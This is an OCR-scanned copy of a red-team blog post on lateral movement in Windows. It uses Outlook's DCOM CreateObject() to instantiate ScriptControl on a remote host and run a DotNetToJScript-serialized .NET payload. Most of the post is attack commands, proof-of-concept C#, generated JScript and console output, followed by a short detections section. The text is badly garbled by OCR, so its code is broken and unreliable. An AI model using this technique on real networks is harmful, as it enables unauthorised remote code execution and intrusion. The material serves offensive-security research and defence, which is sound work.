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In the past, I have blogged about various methods of lateral movement via the Distributed Component Object

Model (DCOM) in Windows. This typically involves identifying a DCOM application that has an exposed method

allowing for arbitrary code execution. In this example, I’'m going to cover Outlook’s CreateObject()_method.

If you aren’t familiar with CreateObject(), it essentially allows you to instantiate an arbitrary COM object. The
issue with abusing DCOM applications for lateral movement is that you are normally at the mercy of the method
being used. The majority of the talked about techniques involve abusing a ShellExecute (or similar) method to
start an arbitrary process or opening a malicious file on the target host, which requires placing a payload on disk

(or a network share). While these techniques work great, they aren’t ideal from a safety perspective.

For example, the ShellBrowser/ShellBrowserWindow applications only allow you to start a process with

parameters, which makes the technique susceptible to command line logging. What about the Run() methods for

macro execution? Well, that requires the document with the malicious macro to be local or hosted on a share (not

exactly ideal).

What if we could get direct shellcode execution via DCOM and not have to worry about files on the target or

arbitrary processes such as powershell or regsvr32? Luckily, Outlook is exposed via DCOM and has us covered.

First, we need to instantiate Outlook remotely:
$com = [Type]::GetTypeFromProgID('Outlook.Application’, 192.168.99.152")

$object = [System.Activator]::CreateInstance($com)

PS E \UHLP'\HdtL) 1s ~~192.168.99 .152%c%
Directory: ~~192.168.99.152cS

LastWriteT ime Length Mame

12:48 PH Hy Documents
11:28 PR PerfLogs
B:17 PH Program Files
1:82 PH Program Filesz (x862>
12:48 PH tenp
B 22817 3:27 PH Users
187252017 B:=04 Windows

PSS C:wlUserssMatt?> Scom = [Typel::GetTypeFromProglD(’ Outlook. Application’ ."192.168.79.152">
! » Sohject = [System.Activatorl::Createlnstance{Scomy

After doing so, you will have the CreateObject() method available to you:
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PE CiullserssMatt? Sobject | gm swCreatew

TypeMdane: Microsoft.0fFfice.Interop.Outlook. ApplicationClass

HenberType Definiti
atelten Mt oo dl @ C Interop .01l1te ] ItemT ype >
atel tenPromTemplate  Method st G ring Tenpl Syzten. (] t InFoldsrX
elhbject Hethod cem. Object C jecti{st e ¥
cUhjRet Mt hod em. Buntine . Ling . UhjHet Ure cfitype reguestedlype’

As discussed above, this method provides the ability to instantiate any COM object on the remote host. How
might this be abused for shellcode execution? Using the CreateObject method, we can instantiate the
ScriptControl COM object, which allows you to execute arbitrary VBScript or JScript via the AddCode() method:

$RemoteScriptControl = $object.CreateObject(“ScriptControl”)

1K o

PS C:slUserssMatt> $RemoteScriptControl Sobject .CreateObject{"ScriptControl")
PS8 C:sUserssMattd
P8 C:sUsers:Matt> SRemoteScriptControl gm

TypeHame: System._ ComObjecti#{Be59f1d3-1fbhe-11d0-8ff2-ABaBd1B838bc>

MemberType Definition
Method void AddCode <{string>
Method void AddObhject <{string. IDispatch,. boold
Method Variant Eval <string>
Method volid ExecuteStatement (stringl
Method void Reset (>
Method Variant Run <{string, SAFEARRAY (Variant))
_AboutBox Method vold _AboutBox <>
Allowll Property bool Allowlll <> {get {set?
CodeObhject Property IDispatch CodeObject (> {get?
Error Property IScriptError Error (> {getl
Property string Language <» {get? {setr
Property [ScriptModuleCollection Modules <) {get?
Property IScriptProcedureCollection Procedures (> {getl
Property int Sitehlind (> {get) {set)
Property ScriptControlStates State () {get) {setl
Property int Timeout ¢ {get} {setk
lzeSafeSubset Property bhool UseSafeSubset (3> {get} {zetd

If we use James Forshaw’s DotNetToJScript technique to deserialize a .NET assembly in VBScript/JScript, we can

achieve shellcode execution via the ScriptControl object by passing the VBScript/JScript code to the AddCode()
method. Since the ScriptControl object was instantiated remotely via Outlook’s CreateObject() method, any code
passed will be executed on the remote host. To demonstrate this, I will use a simple assembly that starts calc. The

PoC C# looks something like this:
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System.Diagnostics;
System.Runtime.InteropServices;
System.Windows.Forms;

class TestClass
TestClass()

Process.Start("calc.exe"):

Note: Since it is just C#, this can be a full shellcode runner as well (=

After compiling the “payload”, you can pass it to DotNetToJScript and get back some beautiful JScript/VBScript.
In this instance, it will be JScript.
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ent('Process')('COMPLUS Version') 'v2.0,58727"';

stem. Text.ASCIIEncoding") ;
":.Eb:‘

transform ActiveX0bject("System.Security.Cryptography.FromBase64Transform");
ba - transform.T yrmFi B1 (ba, @, length);
var ms ActiveXObject("System.I0.MemoryStream");
ms.Write{ba, @, (length 1) 1 H
ms.Position - @;
ms;

}

var serialized_obj "AAEAAADS / f f FAQAAAAAAAMAEAQARACT TeXNBIWEU G X pYWxpemFOawWIdusSGIs ZGYy"
" A AAAARE ZWx LZ2FRZ0d8 Y X InZX0wE2 1 LdGhv ZDAD AwiMwl3 LzdGVELKR LGV nYXR1U2YyaWFs
"dGlvbkhvbGRLcitEIWx 1 Z2FOZUVUdHISI INScIRLbSSEIWx LZ2FRZVN LemLhbGLEYXRpb25 b2 xk
"IXIvU31zdGVEL 1] 1Zmx LY IRpb24uTWVtYmVySWSmb 1IN Lem LhbGLEYXRpb25 Ib2xkZX T JAgAAAAKD
" AAAACQQAAAAEAGAAADBT eXNBZWRURGY s ZWdhdGVTZX I pYWxpemF@aWdusG9s ZGVyKBR LbGVnYXR1"
" RS 8 cnkHAAAABHRS cGUIYXNz 2W11bHkGAGFyZ2VeEnRhcmd LAFRS cGVBC3N LbW] se(58YXInZXRU™

snipped ;

var entry_class - 'TestClass';

{

Serialization.Formatters.Binary.BinaryFormatter');
ActiveXObject('System.Collections.ArrayList');
fmt.SurrogateSelector;
d - fmt. rial 2{stm) ;
al.Add{n);
var o d.DynamicInvoke(al.ToArray() ).Createlnstance({entry_class);

(e} {

debug(e.message) ;

Now that the payload has been generated, it can be passed to the ScriptControl COM object that was created via
Outlook’s CreateObject method on the remote host. This can be accomplished by storing the entire
JScript/VBScript code block into a variable in PowerShell. In this case, I have stored it in a variable called

“$code”:
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: n ..c:tur‘l..lun. {
new ActiverObject('Wicript.Shell’ ».Environment{’ Process® 3¢ COMPLUS _Verzion® > = ‘w2 B 58727 ;
¥

Function debu
Function | b Iuo+rc¢ln(h) {
var enc nev ActiveXObject("System. t.ASCIIEncoding™);
var length = enc.Get ba;
vap g
Object{"System.Se
1Block{ba, B, le ;
("Eystem. 10 . Memoryltream')
s 4y = 3);

ryptography .. FromBasebdTransform™ 5

return ms;

r serialized_obj = “AAREAAAD. - << AGAARAAAAAAEAQARACJT c ANBEWBURG .1-L.”d]'II'].GUTZP'JD'.L”,'NEIL'I'IFHJ“?II BGYsZG y
rﬂﬂﬁﬂ hEZWx 1Z2 PAZGABY X JnZH QuB21 1dChu ZDii Ditwthall 3 1=d G0t LkR1bGUn Y 20
GlubkhuvbGR1c it EZbhe 122 FRENUudHIS 1 INScIR1BES EXMx 152 FRZUN Lem L hb( "

Alvwl3 lzdGUe L1J1Zmx l‘:"iR[Jh""iu'lHllt'l'lTlU yEWSmbilNlemlhhGL6Y R Rph25 I hidx JAgAARAKD™ +

G IRGU s E Wdhd I"IJT"".. Tu‘f'hc pe nFlﬁﬂ.'.F?u'{ GP5ZGU yKAR 1hGUnYKR1" +

"RWSBcnkHAAAABHRSc GUTY KM=E hH kG fivd HL JJ.,FQ @Y Jn ZXRL
el B1TnFt ZGpt Z{Ro hZFI(.I'r' H C

nl.hl:n‘a 16YH thd".: Ihé HIE¥A GUF QYFAAAALIMSc3R1b dWSBalid 1L1J1bW?0" +

i YUL khGU yBgYAAABLbYENjhIJzall = IFZ lenNph249Hidul jAu "+

H BRdWJs aWHLEZR IUhZt 1hjl iHzdhHWHLNJESH=R1HDgS BycARARH " +

hF-;L.EUBm l:l..FI FIFIFIBquFIFmHFI.lﬂ l=dGUtLER1bGUn YAR1BgoARAANRH Lu¥1 pY Aludn? rZGoEAwAR

"ACITe X HAZWAWRGY s ZHd hd GUT ZX. J? YWxpemFAaW?uSG? 2 ZGU yAwARRAhEZW 1Z2 FAZQAAY K JnZX Q" +

"B21 1dGChuZDin DBubul 3 1=dGUt LkR1hGUnY¥ X R1U2U yallFs a¥ phdGlubkhvbGR1c it EZWx 1Z2 FAZUUL " +

"dHJSA LT T e ANBZWAUUmUmbGU jdG lvbibHEWL 18 JJbmZu 20 yallF phdGlvbkhubGR1lcgkLAAAR "+

QuARAAJDGARAAGEARAALLMNE ELEEWE: TUNBaWFuL kLl 1bW I 1ck luZm? TZE Jp¥ hxpenPBallfu ' +

"8G s EGY yBgARAARROY WM 1DEF: L TmFtZQ1DbGFzeB5hhWIJUZ 1InbmFAAXJ1Ck1 1hthJ1c 1RS "+

Finally, all that needs done is to set the “Language” property on the ScriptControl object to whatever language that
will be executed (JScript or VBScript) and then call the “AddCode()” method with the “$code” variable as a

parameter:

$RemoteScriptControl.Language = “JScript”
$RemoteScriptControl.AddCode($code)

Ps G:\Ugers\ﬂatt\ﬂesktup}
PS C:\Users\Matt\Desktop> $RemoteScriptControl.Language = “JScript"

PS C:\Users\Matt\Desktop?> $RemoteScriptControl.AddCode{5code’
PSS C:S\Userss\Matts\Desktop>

After the “AddCode()” method is invoked, the supplied JScript will execute on the remote host:

Ethernet adapter Local Area Connection:

Connect ion—: 2ific DNS SuffFix
i ¥ FeRA: :95A7 :hec? :5hdd: h?4F 211

File Options View Process Find Users Help
ol [ o] mE [E] | e .
SIEIEIERIERY Y 1
Process CPU  Private Bytas Warking Sat PID Dwescription Compary Name
— [ | swchost exe 4472 K 11144 K 604 Host Process ful Windows 5., Microsoft Corporation

WA
- ﬂZDUTLﬂOK.E){E 7844 K 63784 K 3260 Microsoft Outlook
| calc.exe 4688 K 3156 K 1836 Windows Caloulator Microsoft Corporation

TV IT - 1 - ET.T. Y] v W S LA D A - A i e

VAT

As you can see above, calc.exe has spawned on the remote host.

Detections and Mitigations:
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You might have noticed in the above screenshot that Outlook.exe spawned as a child of svchost.exe. That is
indicative of Outlook.Application being instantiated via DCOM remotely, so that should stick out. In most cases,
the process being started will contain “-embedding” in the command line, which is also indicative of remote

instantiation.

Additionally, module loads of vbscript.dll or jscript/jscript9.dll should stand out as well. Normally, Outlook does

not load these and those being loaded would be indicators of the ScriptControl object being used.

In this example, the payload was running as a child process of Outlook.exe, which would be weird. It is important
to remember that ultimately, a .NET assembly is being executed, meaning that shellcode injection is absolutely
doable. Instead of simply starting a process, an attacker can write an assembly that injects shellcode into another
process, which would bypass the parent-child relationship detection. Ultimately, enabling the Windows Firewall

will prevent this attack as it stops DCOM usage.

-Matt N

Source: https://enigma0x3.net/2017/11/16/1ateral-movement-using-outlooks-createobject-method-and-dotnettojscript/

Page 6 of 6



